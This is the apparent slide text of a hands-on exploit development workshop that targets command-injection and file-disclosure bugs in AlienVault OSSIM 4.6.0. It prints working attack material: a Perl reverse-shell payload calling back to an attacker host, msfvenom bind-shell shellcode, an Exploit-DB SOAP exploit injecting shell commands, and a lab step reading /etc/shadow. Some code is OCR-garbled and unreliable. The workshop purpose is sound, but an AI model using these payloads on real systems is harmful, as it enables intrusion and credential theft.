Exploit Development

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Hello

- Sr. Red Team Engineer
- Black Hat Instructor
- Spoke at numerous government agencies
- I have some certifications, primarily DoD 8570
- Worked in both the Public and Private sectors
 - Penetration Testing, Vulnerability Research, Reverse Engineering, Forensics, Capabilities Development
- Contributed to Metasploit and a bunch of other open source projects

A Quick Quiz

Given the information below, what's the vulnerability?

```
loc_443FC1: ; flags
push 0
movzx edx, [ebp+arg_C]
push edx ; len
mov ecx, [ebp+buf]
push ecx ; buf
mov eax, [ebx+88h]
push eax ; s
call recv
test eax, eax
jnz short loc_443FE3
```

```
eax=000004b8 ebx=053c7640 ecx=0161d310 edx=00004141 esi=00000000 edi=000005dc
eip=01a83fd3 esp=0161d1c4 ebp=0161d2ec iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000203
WS7_V2_MPI!MPI_V2_MPI_Auswerten_SZL_0111_0081$qpucspct3+0x2f553:
01a83fd3 e8c20f0700 call WS7_V2_MPI!MPI_V2_SimaticManagerDLLFreigeben$
0:000> dc @esp L4
0161d1c4 000004b8 0161d310 00004141 00000000 .....a.AA.....
```

A Quick Quiz: ZDI-17-112

- The vulnerability exists due to a user controlled length parameter
- We can feed the wsock32!recv function a length value larger than the size of the allocated stack buffer
- This will lead to a stack based buffer overflow resulting in remote code execution

```
int recv(
   _In_ SOCKET s,
   _Out_ char *buf,
   _In_ int len,
   _In_ int flags
);
```

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No memory corruption today...

- We're only working with ~3 hours today
- Not really enough time to talk about the stack, heap, exploit mitigations, fuzzing etc etc AND have time for labs.
- Memory corruption is only a piece of the exploit development puzzle
 - Typically, one shot one kill because you'll crash the process.
 - Unless you code in process continuation (this is not a trivial task)
 - Also, its been done to death in exploit development courses
- Web bugs are very reliable as they can (normally) be executed an infinite number of times
 - Yes, some memory corruption bugs work with processes that will auto-restart at a crash. We need to work with the time we have today.

What do I require from YOU

- 1. Please ask questions!
 - There are no dumb questions
- 2. Please be respectful of your peers
 - We are not as 31337 as you, so please give others the opportunity to learn
 - If you feel we are going to slow, feel free to hunt for the Oday that are on the VM:)
 - If you are being to disrespectful to your peers, I will ask you to leave.

What's our goal today?

- Today I'm going to teach you how <u>FIND AND EXPLOIT</u> the vulnerability
 - Too many exploit development courses (in my opinion) teach you how to exploit a vulnerability given a crash or a specific set of primitives

So... What are we doing today?

- We're going to be looking at Alienvault OSSIM 4.6.0
- Alienvault is an Open Source Security Information and Event Management (SIEM) product that provides you with a feature-rich open source SIEM complete with event collection, normalization and correlation.
 - Yes, I ripped that straight from their website

So.. What are we doing today?

- There are a lot of vulnerabilities associated with this product/version
 - ZDI-14-295, ZDI-14-294, ZDI-14-273, ZDI-14-272, ZDI-14-271, ZDI-14-207
 - ZDI-14-206, ZDI-14-205, ZDI-14-203, ZDI-14-202, ZDI-14-201, ZDI-14-200
 - ZDI-14-199, ZDI-14-198, ZDI-14-197, ZDI-14-196
- There are even a couple of public exploits for this version
 - ZDI-14-199 (EDB:33805)
 - ZDI-14-202 (EDB:33865)
- This is only 2 exploits out of 16 different vulnerabilities!
- Lots of room for code coverage!
- Practice Practice!

Why worry about code coverage?

- Whenever there is a public exploit for a vulnerability chances are high that there is an IDS/IPS signature for it
- It's always nice to have tricks in your bag for whatever situation you run into
- In today's example, if one method has a signature in emerging threat or snort (or insert product here) we can simply use another method
 - https://www.snort.org/rule_docs/1-31506
 - ZDI-14-199 (EDB:33805)
 - https://www.snort.org/rule_docs/1-31330
 - ZDI-14-202 (EDB:33865)

What bugs are we hunting today?

- Today, we're going to be hunting
 - ZDI-14-207 (CVE-2014-4153) get_file Information Disclosure
 - ZDI-14-203 (CVE-2014-3804) set_file Remote Code Execution
- Why these 2 bugs?
 - It's nice to have an information disclosure bug to help us enumerate the system for further exploitation
 - Shell isn't always the answer
 - In some cases, you can chain together bugs for deeper compromise!
 - CVE-2013-2097 (EDB:38505) Zpanel Remote Unauthenticated RCE
 - https://www.rapid7.com/db/modules/exploit/multi/http/zpanel_information_disclosure_rce
 - The Remote Code Execution (RCE) bug is because people like to pop shells in exploit development classes

First, some root cause analysis

- This is a requirement for exploit development
 - Especially when you're working in situations like this, where there are numerous vulnerabilities
 - A lot of times coding mistakes persist throughout the application, understanding the vulnerability that you know (nday) makes its easier to find vulnerabilities that you don't know (0day).
- Where there is one, there are many!

Root Cause Analysis: ZDI-14-199 (EDB:33805)

```
1278 sub get log line {
            my ( $funcion_llamada, $nombre, $uuid, $admin_ip, $hostname, $r_file, $number_lines )
1281
        verbose_log_file(
            "GET LOG LINE : Received call from Suuid : ip source = Sadmin_ip, hostname = Shostname :(Sfuncion_llamada,Sr_file)"
        my @ret = ("$systemuuid");
1287
        if ( $r_file =~ /\.\./ ){
                            push(@ret, "File not auth");
                            return \@ret;
            if ( $number lines <= 0) {</pre>
                            push(@ret, "Error in number lines");
                            return \@ret:
        if (( $r file =~ /^\/var\/log\// ) or ( $r file =~ /^\/var\/ossec\/logs\// )){
                            if (! -f "$r file" ){
                                   push(@ret, "File not found");
                                   return \@ret;
                            push(@ret, "ready");
                            my $command = "tail -$number_lines $r_file";
                            #push(@ret,"$command");
                            #my @content = `tail -\number lines \r file`;
                            my @content = `$command`;
                            push(@ret,@content);
                            return \@ret;
1312
        else {
1313
                    push(@ret, "path not auth");
1314
                    return \@ret;
```

 The vulnerability is a command injection flaw via the \$number_lines parameter

```
1582 sub update_system_info_debian_package() {
1583
1584
         my ( $funcion llamada, $nombre, $uuid, $admin ip, $hostname, $debian pkg )
1585
             = @_;
1586
         verbose log file(
1587
              "GET UPDATE-INFO-DEBIAN-PACKAGE: Received call from \unid: ip source = \undersadmin ip, hostname = \undersame:(\undersame:(\undersame:(\undersame) \undersame)"
1588
1589
1590
         if ($debian pkg =~ /[; `\$\<\>\|]/) {
1591
             console log file("Not allowed debian package: $debian pkg in update system info debian package\n");
1592
             my @ret = ("Error");
1593
             return \@ret:
1594
1595
1596
         verbose_log_file("-> update debian package info in progress");
1597
         my $content = `/usr/bin/aptitude changelog $debian pkg `;
1598
         my @ret = ( "$content", "$systemuuid" );
1599
1600
         return \@ret:
1601
1602
```

- The vulnerability is another command injection flaw. This time via the \$debian_pkg parameter
- There is some simple filtering in place, but it is incomplete
 - ;`\$<>|
 - This does happen often, the analyst will create a signature for the exploit and not the vulnerability
 - Very common mistake amongst new IDS/IPS signature writers
 - If you're interested for further reading
 - https://www.slideshare.net/CiscoDevNet/introduction-to-snort-rule-writing
 - This is why Root Cause Analysis (RCA) is important, not only for an exploit developer but as an IDS/IPS analyst
- To bypass this Juan used &&

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Now onto the payload

```
if method == "update_system_info_debian_package"
args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'})
perl_payload = "system(decode_base64"

perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))"
args[4].text = "#{rand_text_alpha(4 + rand(4))}"
args[4].text += " && perl -MMIME::Base64 -e '#{perl_payload}'"
end
```

- This is a typical technique when dealing with command injection
- Convert the payload to base64 then execute it (lines 115/116/118)
- This helps to avoid bad characters that would be filtered by the application

Let's look at the payload without being converted to base64

```
1 "perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){
2   if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}
3   $c=new IO::Socket::INET#{ver}PeerAddr,
4   \"#{lhost}:#{datastore['LPORT']}\");
5   STDIN->fdopen($c,r);$~->fdopen($c,w);
6   while(<>){if($_=~ /(.*)/){system $1;}};'"
```

- Do you see a problem here?
- Remember our filter from before?; `\$<>|
- Not only the filter, but much of this would break our SOAP request

- Let's take a second to talk about filters and encoders
- In our current example the filter is a relatively simple one. But what if we're talking about memory corruption?

- To the right, we can see the shellcode for windows/shell_bind_tcp
- Notice the large amounts of null bytes (\x00)
- This would break many types of buffer overflow vulnerabilities
 - Primarily string concatenation via strcpy(), strncpy(), sprintf() to name a few

```
"\x13\x72\x6F\x6A\x00\x53\xFF\xD5'
```

- Well, what do we do in these situations?
- This is why encoders like x86/shikata_ga_nai exist
- Let's look at the payload after its been encoded

```
'\x13\x72\x6F\x6A\x00\x53\xFF\xD5"
```

```
james@busticati:~/code/msf4$ ./msfvenom -p windows/shell bind tcp LPORT=4444
 -e x86/shikata ga nai \
 -f c \
 -a x86 \
  --platform windows
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata ga nai
x86/shikata ga nai succeeded with size 355 (iteration=0)
x86/shikata ga nai chosen with final size 355
Payload size: 355 bytes
Final size of c file: 1516 bytes
unsigned char buf[] =
"\xd9\xee\xb8\x96\x91\x4e\x2f\xd9\x74\x24\xf4\x5d\x2b\xc9\xb1"
 x53\x31\x45\x17\x03\x45\x17\x83\x53\x95\xac\xda\xa7\x7e\xb2"
 x25\x57\x7f\xd3\xac\xb2\x4e\xd3\xcb\xb7\xe1\xe3\x98\x95\x0d"
 \x8f\xcd\x0d\x85\xfd\xd9\x22\x2e\x4b\x3c\x0d\xaf\xe0\x7c\x0c"
 <u>\x33\xfb\x50\xee</u>\x0a\x34\xa5\xef\x4b\x29\x44\xbd\x04\x25\xfb"
 \x51\x20\x73\xc0\xda\x7a\x95\x40\x3f\xca\x94\x61\xee\x40\xcf"
 \xa1\x11\x84\x7b\xe8\x09\xc9\x46\xa2\xa2\x39\x3c\x35\x62\x70"
 xbd\x9a\x4b\xbc\x4c\xe2\x8c\x7b\xaf\x91\xe4\x7f\x52\xa2\x33"
 .xfd\x88\x27\xa7\xa5\x5b\x9f\x03\x57\x8f\x46\xc0\x5b\x64\x0c"
 x8e\x7f\x7b\xc1\xa5\x84\xf0\xe4\x69\x0d\x42\xc3\xad\x55\x10"
 \x6a\xf4\x33\xf7\x93\xe6\x9b\xa8\x31\x6d\x31\xbc\x4b\x2c\x5e"
 \x71\x66\xce\x9e\x1d\xf1\xbd\xac\x82\xa9\x29\x9d\x4b\x74\xae"
 xe2\x61\xc0\x20\x1d\x8a\x31\x69\xda\xde\x61\x01\xcb\x5e\xea"
 .xd1\xf4\x8a\x87\xd9\x53\x65\xba\x24\x23\xd5\x7a\x86\xcc\x3f"
 %75\xf9\xed\x3f\x5f\x92\x86\xbd\x60\x8d\x0a\x4b\x86\xc7\xa2
 \x1d\x10\x7f\x01\x7a\xa9\x18\x7a\xa8\x81\x8e\x33\xba\x16\xb1"
 xc3\xe8\x30\x25\x48\xff\x84\x54\x4f\x2a\xad\x01\xd8\xa0\x3c"
 \x60\x78\xb4\x14\x12\x19\x27\xf3\xe2\x54\x54\xac\xb5\x31\xaa"
 \xa5\x53\xac\x95\x1f\x41\x2d\x43\x67\xc1\xea\xb0\x66\xc8\x7f"
 %8c\x4c\xda\xb9\x0d\xc9\x8e\x15\x58\x87\x78\xd0\x32\x69\xd2
 \x8a\xe9\x23\xb2\x4b\xc2\xf3\xc4\x53\x0f\x82\x28\xe5\xe6\xd3"
 x57\xca\x6e\xd4\x20\x36\x0f\x1b\xfb\xf2\x3f\x56\xa1\x53\xa8"
 .x3f\x30\xe6\xb5\xbf\xef\x25\xc0\x43\x05\xd6\x37\x5b\x6c\xd3"
 \x7c\xdb\x9d\xa9\xed\x8e\xa1\x1e\x0d\x9b";
```

- Did you notice that there are no longer any null bytes?
- There are still string terminators like \x0a\x0d\x20 but those can also be filtered out via the encoders
- How does this work? Well, simple answer it replaces opcodes for known commands. More complicated answer, too much for this workshop
- Let's look at an example:

```
metasm > mov eax, 0
"\xb8\x00\x00\x00\x00"
```

```
metasm > xor eax, eax
"\x31\xc0"
```

Lab 1 - ZDI-14-207 - Identify the vulnerability

- Identify the vulnerability
 - AlienVault OSSIM av-centerd Util.pm get_file Information Disclosure Vulnerability
- Credentials for the VM
 - IP address
 - Username
 - Password
- How did you find it?

Lab 1 - ZDI-14-207 - Identify the vulnerability

```
1367 sub get_file {
        my ( $funcion llamada, $nombre, $uuid, $admin ip, $hostname, $r file )
       my $file_content;
        verbose_log_file(
            "GET FILE : Received call from Suuid : ip source = Sadmin ip, hostname = Shostname :(Sfuncion llamada, Snombre, Sr file)
        if ($r_file =~ /[; `\$\<\>\|]/) {
           console_log_file("Not allowed r_file: $r_file in get_file\n");
           my @ret = ("Error");
            return \@ret:
       if ( !-f "$r_file" ) {
            #my @ret = ("Error");
            verbose_log_file("Error file $r_file not found!");
            # Return empty file if not exists
            my @ret = ( "", "d41d8cd98f00b204e9800998ecf8427e", "$systemuuid" );
            return \@ret;
        my $md5sum = `md5sum $r_file | awk {'print \$1'}` if ( -f "$r_file" );
        if ( open( my $ifh, $r file ) ) {
            binmode($ifh);
            $file_content = do { local $/; <$ifh> };
            close($ifh);
            my @ret = ( "$file_content", "$md5sum", "$systemuuid" );
            return \@ret;
        else {
            my @ret = ("Error");
            verbose_log_file("Error file $r_file not found!");
            return \@ret:
```

Lab 1 - ZDI-14-207 - Identify the vulnerability

- The vulnerability is in the \$r_file parameter, specifically line 1390
- The \$r_file parameter is being passed directly to the shell
 - my \$md5sum = `md5sum \$r_file | awk {'print \\$1'}` if (-f "\$r_file");
 - On line 1376 there is some filtering, but we're not utilizing any of those characters
- To exploit this we can feed it a file directly (I.E /etc/shadow)

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Why can't we perform any command injection?

• Because of the above lines of code, the application checks to see if the value contained in **\$r_file** is a valid file.

Exploiting the Vulnerability

- Now that we've identified the vulnerability, how do we exploit it?
- Let's look at the Exploit DB exploit for some clues (ZDI-14-199/EDB:33805)

```
#!perl -w
use SOAP::Lite;

# SSL is self-signed so we have to ignore verification.
$ENV{PERL_LWP_SSL_VERIFY_HOSTNAME}=0;

# We simply append the 'id' command to the number of log we want to
# read.
@soap_response = SOAP::Lite
    -> uri('AV/CC/Util')
    -> proxy('https://172.26.22.2:40007/av-centerd')
    -> get_log_line('All', '423d7bea-cfbc-f7ea-fe52-272ff7ede3d2' ,'172.26.22.1', 'test', '/var/log/auth.log', '1;id;')
    -> result;

for (@{ $soap_response[0] }) {
    print "$_\n";
}
```

Exploiting the Vulnerability

Now lets look at the exploit with the function

- We can see a few things from this
 - \$function_llamada => Spanish for \$function_call
 - \$nombre => Spanish for \$name
 - \$uuid
 - \$admin_ip
 - \$hostname
 - \$r_file
 - \$number_lines

Exploiting the Vulnerability

Lets fill in each parameter

```
$function_llamada
                                 get_log_line
                       =>
$nombre
                                 All
$uuid
                                 423d7bea-cfbc-f7ea-fe52-272ff7ede3d2
                       =>
$admin_ip
                                 IP OF TARGET
$hostname
                                 HOSTNAME OF TARGET
                       =>
                                 POINT TO FILE MOST LIKELY ON THE SYSTEM
$r_file
                       =>
$number_lines
                                 1;id <= EXPLOIT HERE
                       =>
```

 Armed with this information, we can craft a SOAP request to exploit our vulnerability

- We have a couple options when building our SOAP request
 - We can use built-in SOAP libraries for various programming languages
 - We can craft the request by hand
 - This is what we're going to do. When in training/workshops I like to do things manually so that you can learn the fundamentals

 With the information on the previous slide, let's talk about how we can craft our SOAP request

 First things first, we need to make sure we have the SOAP Envelope element

```
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
```

• The Envelope element is the root element of the SOAP message. It defines the XML document as a SOAP message

 Next, we define the body of the SOAP Request. This is where you'll put your exploit

```
<soap:Body>
  <get_log_line xmlns="AV/CC/Util">
        <c-gensym3 xsi:type="xsd:string">ALL</c-gensym3>
        <c-gensym5 xsi:type="xsd:string">423d7bea-cfbc-f7ea-fe52-272ff7ede3d2</c-gensym5>
        <c-gensym7 xsi:type="xsd:string">192.168.1.245</c-gensym7>
        <c-gensym9 xsi:type="xsd:string">Alienvault</c-gensym9>
        <c-gensym11 xsi:type="xsd:string">/var/log/auth_log</c-gensym11>
        <c-gensym13 xsi:type="xsd:string">1;id;</c-gensym13>
        </get_log_line>
        </soap:Body>
```

• Finally, you need to close out the SOAP Envelope with

</soap:Envelope>

• Lets look at the completed SOAP request

The completed SOAP Request

```
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"</pre>
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
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         <c-gensym5 xsi:type="xsd:string">423d7bea-cfbc-f7ea-fe52-272ff7ede3d2</c-gensym5>
         <c-gensym7 xsi:tvpe="xsd:string">192.168.1.245</c-gensym7>
         <c-gensym9 xsi:type="xsd:string\">Alienvault</c-gensym9>
         <c-gensym11 xsi:type="xsd:string">/var/log/auth.log</c-gensym11>
         <c-gensym13 xsi:type="xsd:string">1;id;</c-gensym13>
      </get log line>
   </soap:Body>
</soap:Envelope>
```

Lab 2 - ZDI-14-207 - Exploit the vulnerability

- I've created a number of scripts to help you in crafting your exploit.
- Depending on your language of choice they can be found in:
 - ~/Exploit Development Workshop/ZDI-14-207/{Python|Ruby}/{1-6}.{rb|py}
- Try to work through the problem a step at a time and not just go straight for the final answer

Lab 3 - ZDI-14-203 — RCE!

• With the information you've learned today, put it all together and get a root shell!

Vulnerability Notes